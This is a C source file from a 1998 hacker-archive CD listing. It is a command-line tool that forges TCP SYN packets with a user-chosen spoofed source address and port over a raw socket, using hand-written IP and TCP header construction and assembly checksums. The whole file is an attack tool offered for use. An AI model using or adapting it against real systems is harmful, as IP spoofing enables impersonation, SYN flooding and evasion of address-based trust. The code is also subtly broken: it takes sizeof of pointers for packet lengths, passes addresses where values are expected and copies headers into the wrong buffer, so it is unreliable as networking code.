home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / hacking / internet / ipspoof.c < prev    next >
Encoding:
C/C++ Source or Header  |  2003-06-11  |  6.9 KB  |  230 lines

  1. #include <sys/types.h>
  2. #include <sys/socket.h>
  3. #include <netinet/in_systm.h>
  4. #include <netinet/in.h>
  5. #include <netinet/ip.h>
  6. #include <netinet/tcp.h>
  7. #include <netinet/ip_icmp.h>
  8. #include <netdb.h>
  9.  
  10. unsigned short ip_cksum(unsigned char * buff, int len)
  11. {
  12.         unsigned long sum = 0;
  13.         if (len > 3)
  14.         {
  15.                 __asm__("clc\n"
  16.                 "1:\t"
  17.                 "lodsl\n\t"
  18.                 "adcl %%eax, %%ebx\n\t"
  19.                 "loop 1b\n\t"
  20.                 "adcl $0, %%ebx\n\t"
  21.                 "movl %%ebx, %%eax\n\t"
  22.                 "shrl $16, %%eax\n\t"
  23.                 "addw %%ax, %%bx\n\t"
  24.                 "adcw $0, %%bx"
  25.                 : "=b" (sum) , "=S" (buff)
  26.                 : "0" (sum), "c" (len >> 2) ,"1" (buff)
  27.                 : "ax", "cx", "si", "bx" );
  28.         }
  29.         if (len & 2)
  30.         {
  31.                 __asm__("lodsw\n\t"
  32.                 "addw %%ax, %%bx\n\t"
  33.                 "adcw $0, %%bx"
  34.                 : "=b" (sum), "=S" (buff)
  35.                 : "0" (sum), "1" (buff)
  36.                 : "bx", "ax", "si");
  37.         }
  38.         if (len & 1)
  39.         {
  40.                 __asm__("lodsb\n\t"
  41.                 "movb $0, %%ah\n\t"
  42.                 "addw %%ax, %%bx\n\t"
  43.                 "adcw $0, %%bx"
  44.                 : "=b" (sum), "=S" (buff)
  45.                 : "0" (sum), "1" (buff)
  46.                 : "bx", "ax", "si");
  47.         }
  48.         sum =~sum;
  49.         return(sum & 0xffff);
  50. }
  51.  
  52. unsigned short tcp_check(struct tcphdr *th, int len,
  53.           unsigned long saddr, unsigned long daddr)
  54. {
  55.         unsigned long sum;
  56.         __asm__("
  57.             addl %%ecx, %%ebx
  58.             adcl %%edx, %%ebx
  59.             adcl $0, %%ebx
  60.             "
  61.         : "=b"(sum)
  62.         : "0"(daddr), "c"(saddr), "d"((ntohs(len) << 16) + IPPROTO_TCP*256)
  63.         : "bx", "cx", "dx" );
  64.         __asm__("
  65.             movl %%ecx, %%edx
  66.             cld
  67.             cmpl $32, %%ecx
  68.             jb 2f
  69.             shrl $5, %%ecx
  70.             clc
  71. 1:          lodsl
  72.             adcl %%eax, %%ebx
  73.             lodsl
  74.             adcl %%eax, %%ebx
  75.             lodsl
  76.             adcl %%eax, %%ebx
  77.             lodsl
  78.             adcl %%eax, %%ebx
  79.             lodsl
  80.             adcl %%eax, %%ebx
  81.             lodsl
  82.             adcl %%eax, %%ebx
  83.             lodsl
  84.             adcl %%eax, %%ebx
  85.             lodsl
  86.             adcl %%eax, %%ebx
  87.             loop 1b
  88.             adcl $0, %%ebx
  89.             movl %%edx, %%ecx
  90. 2:          andl $28, %%ecx
  91.             je 4f
  92.             shrl $2, %%ecx
  93.             clc
  94. 3:          lodsl
  95.             adcl %%eax, %%ebx
  96.             loop 3b
  97.             adcl $0, %%ebx
  98. 4:          movl $0, %%eax
  99.             testw $2, %%dx
  100.             je 5f
  101.             lodsw
  102.             addl %%eax, %%ebx
  103.             adcl $0, %%ebx
  104.             movw $0, %%ax
  105. 5:          test $1, %%edx
  106.             je 6f
  107.             lodsb
  108.             addl %%eax, %%ebx
  109.             adcl $0, %%ebx
  110. 6:          movl %%ebx, %%eax
  111.             shrl $16, %%eax
  112.             addw %%ax, %%bx
  113.             adcw $0, %%bx
  114.             "
  115.         : "=b"(sum)
  116.         : "0"(sum), "c"(len), "S"(th)
  117.         : "ax", "bx", "cx", "dx", "si" );
  118.  
  119.         /* We only want the bottom 16 bits, but we never cleared the top 16. */
  120.  
  121.         return((~sum) & 0xffff);
  122. }
  123.  
  124. void resolve_address(struct sockaddr *addr, char *hostname, u_short port) {
  125. struct sockaddr_in *address;
  126. struct hostent *host;
  127.  
  128. address = (struct sockaddr_in *)addr;
  129. (void) bzero((char *)address, sizeof(struct sockaddr_in));
  130. address->sin_family = AF_INET;
  131. address->sin_port = htons(port);
  132. address->sin_addr.s_addr = inet_addr(hostname);
  133. if ((int)address->sin_addr.s_addr == -1) {
  134.   host = gethostbyname(hostname);
  135.   if (host) {
  136.    bcopy( host->h_addr, (char *)&address->sin_addr, host->h_length);
  137.   }
  138.   else {
  139.    puts("Couldn't resolve address!!!");
  140.    exit(-1);
  141.   }
  142.  }
  143. }
  144.  
  145. char *create_ip(u_long source, u_long dest, u_char protocol, u_char ttl,
  146.         u_short id, char *data, int data_len)
  147. {
  148.  char *ip_datagram;
  149.  struct iphdr *ip_header;
  150.  ip_datagram = malloc(sizeof(struct iphdr) + data_len);
  151.  ip_header = ip_datagram;
  152.  ip_header->version   = 4;
  153.  ip_header->tos       = 0;
  154.  ip_header->frag_off  = 0;
  155.  ip_header->check     = 0;
  156.  ip_header->saddr     = source;
  157.  ip_header->daddr     = dest;
  158.  ip_header->protocol  = protocol;
  159.  ip_header->ttl       = ttl;
  160.  ip_header->id        = htons(id);
  161.  ip_header->ihl       = 5;
  162.  ip_header->tot_len   = htons(sizeof(struct iphdr) + data_len);
  163.  ip_header->check = htons(ip_cksum(ip_datagram,sizeof(struct iphdr)));
  164.  bcopy(data,ip_datagram+sizeof(struct iphdr),data_len);
  165.  return ip_datagram;
  166. }
  167.  
  168. char *create_tcp(u_long source, u_long dest, u_short sport, u_short dport,
  169.         u_long seqnum, u_long acknum, u_char flags, char *data, int datalen)
  170. {
  171.  char *wewt;
  172.  struct tcphdr *tcp_header;
  173.  wewt = malloc(sizeof(struct tcphdr) + datalen);
  174.  tcp_header = wewt;
  175.  tcp_header->th_sport = sport;
  176.  tcp_header->th_dport = dport;
  177.  tcp_header->th_seq   = seqnum;
  178.  tcp_header->th_ack   = acknum;
  179.  tcp_header->th_flags = flags;
  180.  tcp_header->th_sum   = 0;
  181.  tcp_header->th_sum = htons(tcp_check(tcp_header, sizeof(struct tcphdr),
  182.     source, dest));
  183.  bcopy(data,wewt+sizeof(struct tcphdr),datalen);
  184.  return wewt;
  185. }
  186.  
  187. void sendpack(char *fromhost, int fromport, char *tohost, int toport) {
  188.  char *packet;
  189.  char *tcppacket;
  190.  char *sendme;
  191.  static struct sockaddr_in local, remote;
  192.  static int sock = 0;
  193.  if (!sock) {
  194.    resolve_address((struct sockaddr *)&local, fromhost, fromport);
  195.    resolve_address((struct sockaddr *)&remote, tohost, toport);
  196.    sock = socket(AF_INET, SOCK_RAW, 255);
  197.    if (sock == -1) { perror("Getting raw socket"); exit(-1); }
  198.   }
  199.    tcppacket = create_tcp(&local.sin_addr, &remote.sin_addr,
  200.         local.sin_port, remote.sin_port, 795930600, 0, TH_SYN,
  201.         NULL, 0);
  202.    packet = create_ip(&local.sin_addr, &remote.sin_addr,
  203.         6, 24, 4, NULL, 0);
  204.    sendme = (struct iphdr *)packet;
  205.    bcopy(tcppacket, sendme+sizeof(struct iphdr), sizeof(tcppacket));
  206.    printf("the ip header is %d bytes long.\n", sizeof(struct iphdr));
  207.    printf("the tcp header is %d bytes long.\n", sizeof(struct tcphdr));
  208.    printf("the ip packet is %d bytes long.\n", sizeof(packet));
  209.    printf("the tcp packet is %d bytes long.\n", sizeof(tcppacket));
  210.    printf("the final packet is %d bytes long.\n", sizeof(sendme));
  211.   {
  212.    int result;
  213.  
  214.    result = sendto(sock, packet, sizeof(packet), 0,
  215.         (struct sockaddr *)&remote, sizeof(remote));
  216.    if (result != sizeof(packet)) { perror("sending packet"); }
  217.   }
  218. }
  219.  
  220. main(int argc, char **argv) {
  221. if (argc!=5) {
  222.  printf("usage: %s <from host> <from port> <to host> <to port>\n", argv[0]);
  223.  exit(-1);
  224. }
  225.  printf("forging packet from %s.%d to %s.%d\n", argv[1], atoi(argv[2]),
  226.         argv[3], atoi(argv[4]));
  227.  sendpack(argv[1], atoi(argv[2]), argv[3], atoi(argv[4]));
  228. }
  229.  
  230.